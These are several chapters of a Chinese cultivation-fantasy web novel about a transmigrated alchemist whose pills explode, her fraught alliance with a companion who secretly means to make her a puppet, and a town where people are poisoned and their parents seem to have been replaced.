她明明逃了的，她明明可以好好活下去的，她明明告诉过归元宗上的小傻子，告诉她，不要相信任何人的，可偏偏……她自己却心软了。重情的姑娘放不下她‘重病’的亲人，然后，她死了。
院子里敞开的银子放了一地，那上头，印着和糙汉钱袋里银子上相同的纪家印记。霎时，郑予时了然。
姑娘她在捡到糙汉钱袋的时候，应当是看到了吧，她应当是知道了吧，知道亲娘弟弟的背叛、抛弃。所以，最后那一句‘终于结束了’，是解脱吧。
真是个，傻姑娘。
院子里的人闲适舒心，躺在与这偏僻乡角完全不符的鎏金长椅上，摇金扇，捏玉盏，潇洒自在。
身体健朗的‘重病’亲娘，数着院子里一堆银两宝物的贪婪弟弟，笑得叫人起了一身火气。
他们谈笑着，说着要价还是低了，说着白眼狼跑得好，跑了，纪家亲自出手，给的钱更多，卖的价更高……
郑予时恨不得冲进去揍人，但，姑娘临死，遗愿放下。她求她，求她救她娘。
救，她娘，的个祖宗！
心里憋屈无处发泄，郑予时一脚踢在门边石头上，气得本就卡白的一张小脸，更白了。
姑娘的遗愿，求她带回三两银子，回去救命。
为了姑娘，这钱，她得给人送回去，好好的，给他妈的，送回去！
气鼓鼓的，郑予时脑子活络，一点儿不嫌累，跑了钱庄特地换了三两银子的铜钱，一文一枚，足足三大包。她脆皮，扛不动，但她有钱！花了银子请了人，扛着那三大包铜钱，兴冲冲地就往姑娘家走。
三大包麻袋扛着钱币，走一步，晃一步，叮啷响。郑予时带着人再回去，一路敲锣打鼓，后头已然跟了好一群看热闹的人。
“撒！敞开了撒！”
一声令下，早就知道要做什么的三人将麻袋一割，向上抛去。
瞬间，漫天铜钱叮叮啷啷，像是送行的丧歌，喜气洋洋。
哗啦啦的钱币，噌亮，馋得人口干舌燥。
突然，不知哪儿传来一道欢呼，只一声，蜂拥而至。
“捡钱啦！好多钱，快来捡呀！”
欲念勾动，领头人一带，一发不可收拾。
“钱！钱！哈哈哈！”
“好多钱，快，快喊二丫她爹拿袋子来捡呀！”
“欸李老头！你挤我干嘛，我的钱！我的！”
围观的人们推搡揉挤着，哄抢一片。郑予时那一声‘捡钱’音量不小，毕竟是专门吼了给人听的，那院子里悠哉游哉的老妇和男子，自然听得到。
大门一推，吵吵着刚想骂人，突然，一地的钱，闪得老妇两眼一花。
钱！她的钱！
“别抢！都别抢！这是我的钱，我家的钱！”
“大力，快！你快把他们撵走啊！不中用的混账玩意儿！”
恨铁不成钢，老妇推了一把只会傻站在一边的儿子，骂了声‘中看不中用的东西’，心急如焚。
眼看着捡钱的人越来越多，她啐了口唾沫，两手一搓，冲进人堆里挤着抢钱。
一方说着‘是我家的，你们这群不要脸的畜生啊，不许捡’，另一方说着‘谁说是你的？这钱是别人发善心撒的’，争执不休。
谁人不爱财？眼睁睁看着自家门口的钱被别人抢得越来越少，老妇怒火攻心，嘴里话把子骂得也越来越脏，或是实在听得不耐烦，推搡着，不知道是谁先动了手，混乱中捡钱的手不干净，扯了几把，挤来挤去，踩了老妇好几脚。
哀声叹气，头发扯乱，鼻青脸肿。老妇一口一个天杀的、砍脑壳的、混账东西，骂了一地。
郑予时站在远处一老树底下，看着，心里仍旧不是滋味。
姑娘选择离去，选择解脱，选择不去怨恨。
可她，替姑娘觉得不值。
“我这么做，她会怪我吗。”
“钱。送到了。”
“噗。是啊。”
噗嗤一笑，因着亓涿光极其直白的一句话，郑予时的心情松活了些，连带着话也多了起来。
“亓涿光，你说，世界上真的会有割舍不掉的东西吗？”
“有。”
？
郑予时一愣，回头去看。
只见，山间日光洒下，暖了人的长发，亓涿光整个人沐浴在日光中，像是慈悲的神女，眉眼含情，似要普渡苍生。
真美啊。
然而她红唇微启，只一句，幻想破灭。
亓涿光道：“傀儡，不会背叛。”
“……”
行。当她没问。
*
赋灵指引，继续上路。
亓涿光是见到过她身上的请柬赋灵的，但她什么都没说。
根据原文剧情，幼时的亓涿光对男主一见钟情，非他不嫁，她这次回西疆域就是听到消息，特意赶去参加招亲的。
她没有请柬，也不符合火灵根的参赛条件，但她很强。强到回宗门后，以金丹后期的修为强行越阶挑战守关的元婴期前辈，浴血死战，硬是给自己争了个招亲名额。一路杀出重围。
郑予时记得，虽然参加试炼的大多姑娘都被男主收入了后宫，但试炼的第一名，赢得第一个和男主双修资格的人，是她，恶毒女配亓涿光。
唉，可惜了。
好好一姑娘，非喜欢这么一个病秧子阳痿的种马渣男。真是，鲜花和牛粪那妙不可言的缘分啊。
都说行路难，行路难，直至天色将暗，郑予时他们才终于走到下一个落脚小城，当归城。
入城，寻了家客栈，住下。
亓涿光有钱，储物袋里的灵石叮啷啷的，一抓一大把，但房间她却只开了一个。
抱着自己的包袱，郑予时站在床边，上也不是，不上也不是，一脸难色。
孤女寡女，共处一室，这大晚上的，是不是过于暧昧了些？虽然是有些闺蜜好友喜欢睡一起联络感情，但她和亓涿光明显不是这么回事儿好吧。
“过来。”
“来了。”
僵直打破，郑予时收了自己乱七八糟的心思，回身朝人去。
只见，那身后本是空落落的桌案这会儿摆满了药草，长的短的红的绿的，各种各样的花花草草揉了一堆，看得人眼花缭乱。
“这！这！”
郑予时一把飞扑趴到桌边，两眼放光，狂咽口水。
这些可都是好东西啊！亓涿光上哪儿搞的！？
“白日出门，随便买了些。”
“你看看还差什么，解毒。”
听她提，郑予时这才想起，为了苟命，她答应了给人解毒来着。
亓涿光应该是将街上药铺里的药都买了个遍，这带回来的药草不是够了，是够够的了，就她身上那简单的毒，小玩意儿，解个百十来次不成问题。
只是……
“丹炉呢？”
炼丹炉没买吗？
“你不是丹师？”
“……”
对于亓涿光的反问，郑予时感觉自己受到了羞辱。
上辈子灵末，世间含有灵力的草药极其昂贵，为了做研究，她用量极大，花钱不少，
6. 第 6 章
《爆破丹修，扛锅横行》全本免费阅读
炼丹这事儿，郑予时从小卷到大，闭着眼睛都能做，手搓自然也不在话下。
体内灵力检查了快有半炷香的时间，左右除了圆合了之前的虚飘外，并无异样。郑予时纠结着，到底要不要放手一试：万一，爆炸另有原因呢？万一是那黑店加的料里放有别的她没察觉到的东西呢？
好吧，不太可能。
她对草药向来敏感，不会察觉不出，但……
身侧亓涿光的眼神越来越烫，像是盯着碗里猎物一般，盯得人腿有些软。
包厢窗户虚虚掩着，一推就能开，若是控不住要炸，往天上扔也是一条退路。想罢，郑予时实在扛不住那炙热的视线，一咽口水，拳头一攥，想要证明自己价值的心达到极点。手一狠，灵力入药。
如今咒契在身，他人刀俎我为鱼肉，逃不了。但，她有用！她能解毒的！可千万别把她炼成傀儡呀！拜托。
郑予时诚心祈祷着，然而，她的想法全然错了。她不知道的是，要真的解了毒，她就真的再无退路了。
药效融合，三息，已然大成。
丹身裹了灵力，温润滋补，郑予时心下大喜，肉眼可见的松了口气：成了！
可还没等她将丹药递出，蓦地，掌心药丸上的灵力突然暴肆，像是生了小型风卷，以丹药为中心，发了狂一般吞噬着周遭的一切灵力，凝聚压折，近乎撑至药丸本体的极限。
不行，要炸！
眼见不对，郑予时立马规避，转身就要开窗往天上扔，可还没等她动，亓涿光一步迈来，拉了她的手，按住。
金丹期强悍的灵力不容抗拒，在丹药吞噬形成的灵力团即将炸开的瞬间，属于亓涿光的灵力强压而来，包裹着，一压，尽数吞没，归于平静。
爆炸，结束了！
好强！
两次爆炸，聪明如郑予时，已然识清了导致爆炸的真正原因。
她的神魂补齐，混元灵根真正的威力压耐不住，她体内灵力的浓度、密度高于一切灵，所以在抽丝揉入丹药后，灵压过高，势必吸引周遭环境内的散灵，形成不稳易爆的灵力团。
而丹药作为媒介，丹药本身用药越是精纯，可容纳灵力的上限便越高，灵力团爆炸的威力也就更强。
白日黑店她手搓的那个小丸子药力微弱，一击，炸开勉强也只够筑基初期的实力，故而只瞧着阵仗大，伤不了那筑基糙汉的根本。而如今这为了解毒精制的丸子，药力只高不低，刚刚那一下，少说有金丹中期的力量。
强极。但，亓涿光更强。
郑予时为自己拥有爆炸手段的自保能力感到欣喜，但同时，心里也不禁对亓涿光的实力生疑：她，真的如原文所写，只是金丹后期的修为吗？
刚刚那压住爆炸的一手，灵力强度，丝毫不弱于元婴期。
蓦地，似是想到了什么，郑予时的眼底划过一丝了然：是了，书中文字稍有片面，只提及女配有着金丹后期的实力。但这是个真实的世界，世人皆知藏拙的道理，所以，书中信息，信，但不能全信。
如今来看，亓涿光，少说有元婴期初期的实力。
怪不得，怪不得后面她回西疆域能打赢守关的元婴修者，强啊！如此，若她帮她解了毒，承了恩，避开成为傀儡的死局后，亓涿光，倒还真的是个极粗的金大腿！
得抱住了！
郑予时这边心思活络着，然而她没注意到的是，爆炸已过，但两人交叠的掌心，仍握着，半点未松。
刚刚为了按住那将爆的灵力团，亓涿光两只手，一上一下，裹了她的，严严实实。
小矮子的手，跟她的人一样，小小的，软软的，热乎乎的，很好摸。亓涿光天生冰灵根，自幼体寒惧冷，常年手脚冰凉不得温感，除了那人，他没感受过别的温暖，但这会儿，捏着小矮子的手，很舒服，很熟悉。
心下不禁生了一丝惋惜：要是挖了心做成傀儡，摸着，可就又冷又硬的了。啧。烦。
不想放手。
亓涿光这么想，便也这么做了。
指尖凉意传来，郑予时一回神，立即察觉到了不对。
她，咋还抓着她不放手呢？
亓涿光离她离得极尽，将将齐及她肩头的郑予时额上满是她喷洒的鼻息，带着淡淡的香。她的手握着她的，细细捻着，看着，出神。
亓涿光的手生得极好，骨节分明，瞧着却并非纤细，而是一种骨感的美，跟她的脸一样，带了些英气，乖巧又矛盾得清冷几分，雌雄莫辨，好看极了。
她就这么垂头握着她，什么都不说，但渐渐地，郑予时却从中品出了一些说不清的情愫。
亓涿光，似乎有些贪恋她的触碰。
回想原文，作为恶毒女配的亓涿光家族严苛，从小被逼没日没夜修炼的她，没有朋友，没有童年欢乐。
而之后，对于她之所以会对男主死心塌地的剧情刻画，描述也十分碎片。其中一幕，就是男主在知道女配没有朋友、没有亲人，谁都不要她的伤痛经历后，握了她的手，握住了她悲惨无人爱的童年。
他告诉她，感化她，说：我会永远陪着你。
郑予时不禁心下涌上一股异样疼惜，强大如女配，其实，她也是个无人爱的小可怜。
所以，亓涿光这会儿抓着她不放手，难道是因为……
她想和她做朋友！
两眼发光，一个极其大胆的想法由心而生：既然那个种马狗东西男主的垃圾手段都可以！那为什么她不行！
她，要拉起女配的手！大路朝天，抱紧女配，离男主远远地走！
说干就干，郑予时郑重万般，弯着一双挂了乌青眼圈的大眼睛，将另一只空出来的手，覆到了亓涿光的手上。
手背传来的温度，很暖，亓涿光抬眼，看到了一双亮晶晶的眼睛，璀璨、明媚，乐观、欢喜，漂亮极了，真是叫人想要将其挖下来，好好保存。
内心的阴翳，郑予时并不知晓，一心抱大腿的她头脑风暴着要如何才能自然地说出男主的那句经典台词。
于是，只见她两手一抓，反客为主，握住亓涿光的手不放不说，还将它们按到了自己的心口，郑重其事，了表诚意。
“你的手好冷。我天生炼丹体热温暖，要是不介意，我可以做你的小火炉，温暖你渐冷的内心。”
“姐姐，我很喜欢你。你既救了我的命，我又要替你解毒，一回生二回熟，咱们也算是朋友了。如果你愿意，我想要永远陪着你。”
陪着你，抱大腿！
郑予时的眼睛炯炯有神，透彻的眸子暗藏混元灵根的纯灵，美得动人。然而那一句‘永远陪着你’，亓涿光听了，神色骤冷。
骗子。
瞧着那双信誓旦旦的眼睛，亓涿光心念所动，伸了手，抚了上去。
曾经地狱深渊相伴，也有那么一个人，哄着骗他，承诺说，会永远陪着他。可最后呢？她跑了，跑得干干净净。她，不要他。
眼底发狠，亓涿光心中戾气骤升，连那句‘姐姐’都没听进，一个没忍住，掐破了郑予时的眼角。
艳红的血顺着指尖滑下，滚烫，那双含了惊的眼睛，像极了她。
“好。那便，永远陪着我。”
唇角微勾，亓涿光轻抚过她的面颊，笑意更浓：真是，迫不及待，想把她炼成傀儡了呢。
这可是，你自己允下的诺。
*
7. 第 7 章
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郑予时指认得半分不犹豫，甚至，心下微喜。
她记得，文中男主与亓涿光的接触中，他先是怀疑亓涿光接近的目的，出手伤害，后来知道真相再道歉施恩，是以，跌宕起伏的心境让亓涿光对他愈发情根深种。
如果套用一下，以现在的情况来说，郑予时就要先出卖她，然后再找机会，美女救美女，引起情绪的骤变，以达到印象深刻的感动效果。
这样，还怕这大腿抱不稳吗？那必须稳了呀！
得意洋洋的邀功，出乎意料的出卖，将包厢内的气氛僵了一瞬。
果然，只有傀儡，可信。
亓涿光早就猜到这小矮子会背叛她，但未曾想，她出卖人的手段，如此愚钝。
眼底骤寒，淬上漠然：既然这般不听话，那，还是早些炼成傀儡的好。
咒术召来，瞬间，随着亓涿光的出招，包厢内的气氛剑拔弩张。
似乎是真的听信了郑予时的话，小公子手一挥，数十金丹修者围着亓涿光打得不可开交，但却无一人，来管她。
不管她好啊！
趁机，郑予时拖了桌子到墙角，一卷桌上那堆成小山的药草，缩到了桌子底下，蹲着，开搓。
药草和药草的融合，乱来可是要出事的。本着职业道德，郑予时一点儿不浪费，一边注意着那边战局，一边疯狂榨干脑内所有知识，力争用这一堆药草，搓成一个最复杂药性最高的大药丸子。保命用。
先前人刚围上来时，郑予时草草评估，根据计算，这些个金丹，亓涿光一人，足矣。
所以她卖她卖得特别干脆。
但，这些金丹，并不是全部。
纪家小公子刚到，郑予时便察觉到他身上隐隐散出的一股药香。那香味她闻过，是一种名为蝶引之毒的解药。
蝶引之毒，取破茧化蝶之意，仅针对从金丹晋升孕化元婴的修士，方能成效。所以中毒之人，最少，元婴境。
这种毒的解药十分特殊，需以人之躯孵药，十二时辰后取出，方可解毒。孵药之人在这十二个时辰里，身上药香渐浓，直至药成。
而这位纪家小公子身上的药香，马上就要到十二个时辰了。且，不只一枚。
所以……
暗处，纪家小公子带来的元婴修者，人数不少。
正面硬碰，打不赢的。
郑予时圆溜溜的大眼睛一眯，缩在桌案底下搓药丸的她，捏紧了手里准备着的爆破武器。
今天这一仗，难赢啊。
数十金丹修士接连而上，亓涿光虽实力在他们之上，但车轮战的消耗，还是打得略有艰辛。大致半刻钟的攻坚无果，一剑一咒对冲，就在双方被灵力冲开的瞬间，暗处，一位黑衣修者卡点走来。
药，成了。
黑衣人出现，不发一言，小公子立马割臂取血，三滴艳红过后，涌出的血水渐白，竟是凝练成珠，落在手心。
这，就是蝶引之毒的解药。
丹药滚入黑衣人手里，一声催促，决定了郑予时她们的命运。
“虞大哥，解药给你，快替我抓住她！”
黑衣修者面上扣着一副玄铁面具，瞧不见真容，他抱剑而立，在听了小公子的话后抬眼看来，眼底，调笑三分。
“成交。”
话一落，手中丹药四射，瞬间，暗处飞来四位同样黑衣的修者，伸手一接，服下药。
四位黑衣修者，面带同样的玄铁面具，一个个的，实力直逼元婴巅峰。
郑予时捏着药丸子的手心出了汗，紧张到指尖发颤：终于，等到了！
听令而动，为首的那位黑衣修者一个眼神，四人瞬出。
隔着包厢昏暗油灯，无人察觉，那被小公子称作虞大哥的黑衣人，下令时看向亓涿光的眼睛，带了几分稔熟的调笑。
他们，认识。
亓涿光撇了一眼他，眸色渐冷，面上含笑。
都杀了吧。
咒术召来，青黑咒文生起。然而就在这时，在四人围攻，在明眼人一看便知道亓涿光会败的生死关头，一只小手却不要命地探了过来，钻进袖摆，牵住了她。
刚刚还背叛得干脆的小矮子，这会儿却是凑了过来，顶着元婴修者的杀气，一双眼睛滴溜圆。
那黑到透彻的星亮眼眸，亮极，其里，只装了她一人。
怪异的，亓涿光心里杀人的烦躁稍缓，她似乎，很喜欢这双眼睛。喜欢她，望着她。
“姐姐。我来啦！”
亓涿光眼底的动容让郑予时自以为她先抑后扬的抱大腿计划作战成功，她笑弯了眼睛，挡在人身前，反手一指指了黑衣四人，叫嚣到。
“小小元婴竟敢跟你们毒宗姑奶奶叫板？看我不毒死你们！”
世间并无毒宗存在，郑予时此举，是为拿捏人心。
一朝被蛇咬，十年怕井绳。凡中过毒的人，面对毒药二字，心下总是留有一丝余悸，而那哪怕一瞬的迟疑，就是她的机会。
灵力包裹加持，猛地一扔，巴掌大的乌漆药丸砸地瞬间浓雾骤升。
一声大喊：“去吧！夺魄绿鬼！毒毒毒！”
股股绿烟，诡异至极，逼得人退避三舍。
烟雾中，她牵着她的手，一指窗户，心领神会。亓涿光带她飞掠而去。
绿烟虽诡，但无碍。然而，就在黑衣修者们反应过来被骗要追去的瞬间，砸地药丸内里灵力乍现，猛吸一口，瞬间，灵力团成，轰然炸裂。
“轰———”
那一夜，天怒降下，当归城云领客栈的半边楼，炸得塌成碎渣。直至第二日天明，半楼半荒的天下奇景叫人叹为观止，一时，天谕、神语众说纷纭，渐渐地竟是与那祥瑞之兆联系起来。
于是，这半楼造型的客栈，逐步，天下流行。
当然，这是后话。
郑予时两人从客栈逃了出来，无处可去，只能先到城外地形复杂的密林藏匿踪迹。
林中溪边一处，有水还有片野生的红薯地，危机暂解，松懈下来的郑予时发现，她饿了。
至于追兵，并不担心，毕竟那耗费了她大脑智慧的丸子可不是随便搓的，药力贼猛，借着爆开力度渗入呼吸，够那几个元婴睡三天的了。
挖地拔薯，火堆生起，噼啪木裂的声音几分幽静，借着火光，发散思绪。
火堆对面的人，很好看。微微上扬的眼尾缀着一双含情桃花眼，勾人三分，但偏偏她生了张清秀乖巧的脸，合着鼻尖两点小痣，又添矛盾，魅中带纯，净中含欲。
虽然性子清冷，有些孤僻，但几时相处，几次生死共战，倒也亲近自在几分。郑予时觉得，她是个好人。
干木烧得差不多了，扒开灰土，捞出个喷香的红薯，郑予时‘呼呼’吹着，第一个递给了亓涿光。
亓涿光只看她，不接，以为是人没见过这玩意儿，她直接一掰两半，指着红薯里面飘香软烂的心，笑弯了眼。
“这个，吃这里面的红心心，可软可甜了！你试试呀。”
手里不由分说地被塞了去，亓涿光认得红薯，她只是不喜甜食。
瞧着将第一个拿来给自己后，转身又去挖坑里红薯的小矮子，亓涿光经受了背叛、又拯救的跌宕心情，有些微妙。
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亓涿光那时便觉得荒诞可笑，想问她，为何爱她，又要如何爱她，但不巧，被那尸坑妖鼠打断，便也忘了。如今听她再提，倒是又想了起来。
语气淡淡的，像是满不在乎，但那双眸底神色紧崩着的眼睛，出卖了主人。
她道：“你说，你爱我。那……”
质疑、调笑、讥讽，但偏偏，不等亓涿光情绪展露，后头一道尖声，又一次将她的话彻底打断。
“放开我！我不认识你！我不是你儿子，我不是你们家的。我不是。我不是！”
后街，刚刚两人买了成衣的铺子门口，拉拉扯扯围了不少人。
其中那位怒喊嘶吼着‘我不是’的布衣男子，面青如鬼，眼中溢血，填满黑与红的眼睛似是惊恐万分，瞪得快要掉出来。
他的唇蓝到发黑，步履蹒跚，恍惚失魂，和他们刚入城时见到的那些个怪异的百姓，几乎如出一辙。
只是他，情况更重，重到似是病入膏肓。
见男子抗拒，一位同样布衣裹身的妇人含泪而泣，一脸痛心。
“小强。强儿。是娘啊，你怎么病得如此严重了？你怎么变得，连娘都不认识了呢？苍天呀。咱们老刘家是造了什么孽啊！儿啊！儿啊！”
“不。我不认识你，我不认识你。你不是我娘，不是！走开！别碰我！”
妇人哭着喊着上前去拉，男子一惊，像是应激的野狗，凶狠、无措，慌恐着乱窜一通，避之不及。
围观者一涌而上，堵了男子去路，下一瞬，妇人飞扑，抓住了他。
“别碰我！”
像是怕到极致，轻轻一碰，已然惊慌。
然而惊慌之下，男子下意识地一挥手，挥开了妇人不说，还将她摔到了地上。
“刘强！你发什么疯！”
怒吼一声。同妇人站在一起的中年男子似是男人亲爹，八尺个头，身材魁梧，见妇人摔倒，怒目，一巴掌朝男子扇去，直将男子扇得眼冒金星，险些站不稳。
子不孝。如此恶劣的欺母行径，引了围观者不忿，指点怒骂。
“小刘！你魔怔了不是，那是你爹娘啊！”
“就是，什么畜生不如的狗东西啊。连把他养大的亲爹亲娘都不认，呸。牲畜！”
“小白眼狼！狗畜生！丧良心！”
“听说这刘强是染了病了，你看他脸青得，怕是命不久矣，已然头脑不清了是。”
“小刘，你快别吓王婶了。你娘辛苦拉扯你长大不容易，你别开玩笑，跟她回去吧。”
旁观众人吵吵嚷嚷着，有人讥讽，有人劝说；有人辱骂，有人搅合。
但围了男子的那一堆人里，却没有一个，信他的话。
面上青如怨鬼，男子头昏脑胀，声声逼迫的谴责辱骂，穿耳凿脑，逼得他濒临崩溃。
众口如一，都说那妇人和中年男子是他爹娘。无人在意，没人相信他声嘶力竭的救命。
是他病重了吗。是他病到连亲生父母都认不出了吗？
可，他真的不认识他们啊。
9. 第 9 章
“疯了！你们都疯了！”
刘强惧怕恐慌，整个人像是发了癫，抄起街边叫卖人的提篮，朝要来抓他的人们一同乱舞。
精神错乱，言辞错杂的他时而怒极、时而悲痛，一言一句，毫无逻辑。
“我知道了。是你们，是你们杀了爹娘！对。是你们！”
“我不认识你们，我不认识。我不是。不是！”
“不对。不对。大家，大家都不见了！不见了……不是，你们根本不是他们！”
“你们这群疯子！杀人犯！对。是你们，你们是一伙儿的，杀了我爹，杀了我娘，杀了我爹，杀了我娘……”
喃喃念叨，突然，只见刘强眼底惊恐，面若凝霜，他看向人群的眼睛里，瞳孔猛颤。
“你们，你们要杀我！”
一声歇斯底里的惊吼，鱼死网破一般，只一瞬，刘强拼死挣扎，猛一下冲出数十人的包围，发疯奔跑。
然而，奔走十步，脱力，摔倒在地。
好巧不巧，摔到了郑予时的面前。
郑予时换的是亓涿光准备的衣裳，白衣锦缎，跟那些围了刘强的布衣百姓，完全不同。
刘强摔得恍惚，抬眼，清醒了一瞬。
气味。没有那种气味。
蓦地，在看清郑予时她们修真之人的矜贵衣着，和那不同于城中人的陌生面容时，刘强眼底亮起了一丝希望。
“救救我！求仙人救救我！”
发颤的十指紧紧抠入地里，又拼死攥紧白锦裙角。刘强跪着，磕着，久久不起。而因着他靠近的动作，一股淡淡的咸腻从他的身上，飘了过来。
这是……
察觉不对，郑予时刚想再探，然而还不等她动作，迎面数十观众带头冲来，妇人亲娘哭天喊地，中年亲爹指桑骂槐，一窝蜂地，竟是连带着又围了郑予时她们。
先前离得远，这会儿人群围来后才猛然惊觉，他们身上，太香了。
跟先前逛街购物时，时不时闻到的路人、店家身上的熏香相同，又重又腻，香得晕头。
这纪云城的人，这么喜欢熏香的吗？还喜欢的都是一个味儿的？
好生古怪。
“儿啊，儿啊，快和娘回去看大夫吧。不闹了，咱不闹了啊。”
“不要。救救我，仙人救救我。他们不是我爹娘。不是。不是！”
“强儿。不得耽误仙人，你病得太重了，娘请了大夫，快跟娘回去！”
争执不下，妇人拉着刘强，刘强拉着郑予时，谁都不肯放，场面混乱。
郑予时被拉着进也不是，退也不是，不过两人交谈倒是叫她抓到了盲点。
大夫？
“你，病了？”
话音一顿，突然，似是想起了什么，她忽地面色一沉，镇定自若，像是高高在上的大宗子弟，底气十足，极其自信地说了道。
“正好，我是禾丹宗弟子，帮你看病，足矣。”
“走吧。”
一句落尾，将男子归入自己这方。
这事儿，郑予时本来是不想管的。但不想男人来得太快，没跑成，加上又见了男子身上异样，和那泪水糊了一脸、可怜兮兮的心酸模样，心一软，这才参合了进来。
见人要被带走，妇人仍想上前阻拦，然而，在见到郑予时她们的着装后，那位‘亲爹’的眼底却是生了一丝贪婪。
修真之人？修者？
修者好啊，身体强度比起普通凡人简直是有过之而无不及。但，就怕她们有援兵。
“禾丹宗？可近日大家伙儿都未曾听闻有禾丹宗弟子入城，这位小姑娘，莫不是冒充仙家，胡乱说的？”
试探、怀疑，然而这些，尽在掌握。
郑予时唇角一勾，坚定万分。
“禾丹宗内门大弟子，宜东藏，我亲亲的大师兄。你若不信我的身份，去禾丹宗，你问他，一问便知。”
此话一出，议论纷纭。
郑予时并不认识宜东藏，但她之所以敢喊人去找他对峙，是因为她对他的性子，略知一二。
宜东藏，文中气质温婉为人和善的男三，一心沉醉丹道，无心世事，似如泥中清莲，只可远观，不可亵玩。虽年少时一丹洗髓闻名天下，但他这人，社恐，向来不喜与人交谈，也鲜少出宗下山。
所以，找人是一难，找到人后的询问，是二难。
她半点儿不慌会露馅。
指名道姓，搬出禾丹宗大师兄的身份，郑予时成功带走了人。只是这一路上，亓涿光的情绪不算好。
是因为她擅作主张救了人？徒添事端？
生气了？还是没生气呢？
猜不出。
但是，咒契在身，为人奴仆，寄人篱下的讨好道理，郑予时还是明白的。这不，回去道上，她在街边顺手买了个狐狸样式儿的糖人，打算哄人去。
郑予时买糖人是有策略的。
文中亓涿光只是女配，对其童年的描绘很少，只言片语，大多都是关于男主用一些民间寻常的小玩意儿填满了她心空的剧情。如此，大致猜测，亓涿光，应当是喜欢这些个小东西的。
糖人精细糖色晶莹，小狐狸眯眼笑着，很像她。
听到如此描述，亓涿光接了下，浅浅一笑，什么都没说。只是，在回到客栈的时候，她主动给跟着她们回来的刘强，单独开了间房。
这是，哄好了？
郑予时心下一喜：果然，走男主的路，是最稳妥的抱大腿姿势！
亓涿光回了屋。可男子状况瞧着不大好，郑予时对他身上的毒有些好奇，也有些不放心他，想着送他回房先查看一番。
然而这人刚到门口，下一秒，晕了。
门边横跨，一半身体在里头，一半身体在外头，无语至极。
郑予时想去扛人，可这刘强虽瘦弱、较矮，但他好歹也是个成年男人，她一个灵力施展不出的垃圾脆皮，完全扛不动他！
蹬门框，拽人手，费力巴拉拖拽了将近大半个时辰，这才终于把人滚进了房门。
门关，看着歪七扭八着横躺在门口的刘强，郑予时喘气难压，累得一句话都说不出，憋屈得是想直接两巴掌把人扇醒算了。
而直到亲身经历后，郑予时才恍然：其实，亓涿光对她，真的很温柔。
先前她在尸坑底下晕了，应该是她一路扛着她走的。然后客栈里她见了手心眼珠子又要晕，她居然只提了她头发喊她‘别晕’，而不是直接揍她一顿。
真温柔啊。她对她，真好。
如此想着，郑予时又看了一眼地上晕过去的刘强，恨不得再踹他一脚。
吃这么多干嘛！
无力吐槽，就地将就，郑予时盘腿一坐，随性潦草，就这么检查起了他身上的情况。
先前闻到的咸腻味道，这会儿在密闭的屋子里，更甚。
身带咸腻。倒是很像她知道的一种毒，蚕蝶丝。
说来也巧，蚕蝶丝，是蝶引之毒的附属毒。是以蝶引解药为引，添蛊毒蚕丝所制的小毒。
中毒者，像是被泡入灌满酸盐水的老坛，身带咸腻。而一旦咸腻味出，肚脐由内开始生根，逐渐生出丝丝蚕丝，三日一生，三日一吐，三日一出。共九日，丝成，破肚而出，缠绕其身，活活裹成活人蚕蛹，生生憋死。
这毒，九日必死。
但……刘强亏空的身体状况明显不对，他中这毒，少说有两月了。
不对劲。太不对劲了。
郑予时抓了他的手，一瞧，果然，五指缠有白丝。
身中蚕蝶丝的人，第四日肚脐开始吐丝，新丝细软、纤柔，但刘强手上缠着的这些，又硬又韧。太奇怪了。
心下生疑，她取了匕首朝人掌心一割，挤了一碗血。
往碗里融入甘木、黄柴、麻绣风，略微一调，药性浸入，下一瞬，数万只芝麻大小的白色蠕虫蜂拥而出，密密麻麻，落了一地腐臭。
蠕虫落地，离了血，三息不到便死了干净，化作一滩腥黄腐水，更臭了。
啧。
蚕蝶生虫，毒性对；甘木、黄柴、麻绣风，解药也对；但就是，中毒之人的症状，不太对。
蚕蝶丝，先是咸腻之味再是蚕食而死，而刘强，而这满城
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百姓，却是身体亏空到了极点才出现咸腻之味。这九日必死的毒，中毒者甚至拖了两月都未能致命，较之真正的蚕蝶丝，症状太轻了。
查看碗中解了毒的血水，再对比刘强掌心毒血，一捻，嗅闻。
明白了。
是蚕蝶丝，但也不是蚕蝶丝。
这毒里面，虽有蛊毒，但却少了蚕蝶丝最重要的一味药引子：蝶引的解药。
如此，肚脐吐丝，但却不至死，只会逐日蚕食中毒者身体生气，面色青黄、眼中瘀血、唇色发蓝，直至亏空成一具半死不活的躯壳。而之后会如何，她没见过，也不好说。还需实验观察。
但好的是，因为毒性不全，所以并不需要丹药炼制，光凭三位对应解毒药草的药性也完全够了，能解，兑水喝就行。
喂了药，睡过整整一夜后，第二日清晨，天将亮，人醒了。
刘强醒来，面色虽白，但已然不再泛青。眼底红丝仍存，但也没了先前那充血溢满的骇人。
他的眼神清明了些，见着屋内守了自己一夜的郑予时，记忆回笼，他‘咚’的一下，朝人跪了去。
“多谢姑娘救命之恩！”
头磕在地上，郑予时去拦，生怕他好不容易救回来的脑子又磕坏。
“成。成。你先起来，我还有事儿要问你。”
“姑娘，您问，只要是我知道的，我全都告诉您。”
似是解了毒清醒几分，瞧着小小一只的郑予时，刘强嘴里也不再一口一个仙人的胡诌，逻辑通顺。
“你之前是中了毒。这毒叫人神智恍惚，但并不会侵蚀你的意识，所以你先前嘴里说的那些乱七八糟的话，应该是潜意识里察觉到了异常，在求救。”
“所以，你，可还记得你当初到底想说什么？”
“记得！”
刘强说，他是镖局的人，前些日子护镖外出，三个月前才回。但这一回，他却觉察家里有些不对。
父母对他的态度，变了。
起先他只以为是半年未见，思念促使下的呵护，但渐渐的，他却发现端倪。
六岁那年，他的母亲为了救从树上摔下来的他，右手折断，无医，落下残疾。而如今的这位母亲，双手完好，右手甚至能扛米袋。
她，绝不是他娘。
他慌乱不安，找了昔日故友醉酒，但第二日，周围邻里都知道了这事。
他们说他中了邪，说他犯了病，母亲喊了大夫来看，开药灌药。刘强坚信自己绝没认错，也不可能认错，但周围所有的人都说是啊，都说没有错啊，都说那是他亲娘亲爹，说他错了。
那是养育了他三十年的亲人啊，是一把手将他带大的娘亲啊，他，怎么可能会认错。
邻里邻居，往来都是熟人，说的人多了，声音大了，假话都会变成真话。不知道什么时候开始，他的身子变得孱弱无力，成日成日地昏睡，醒来就被喂药灌水，恍恍惚惚。
终于，父亲外出回来了，他本以为有救了，但，这位父亲居然也不对！
他的生父因为耕种劳累，一背脊梁早已压弯，身板不再笔挺。而这位父亲，身姿挺拔，身高八尺。不对。完全不对。
身体越来越差，头脑越来越昏沉，他害怕极了，他想逃。
趁着家里无人，他逃了出来，逃到了街上，但，更诡异的事情发生了。
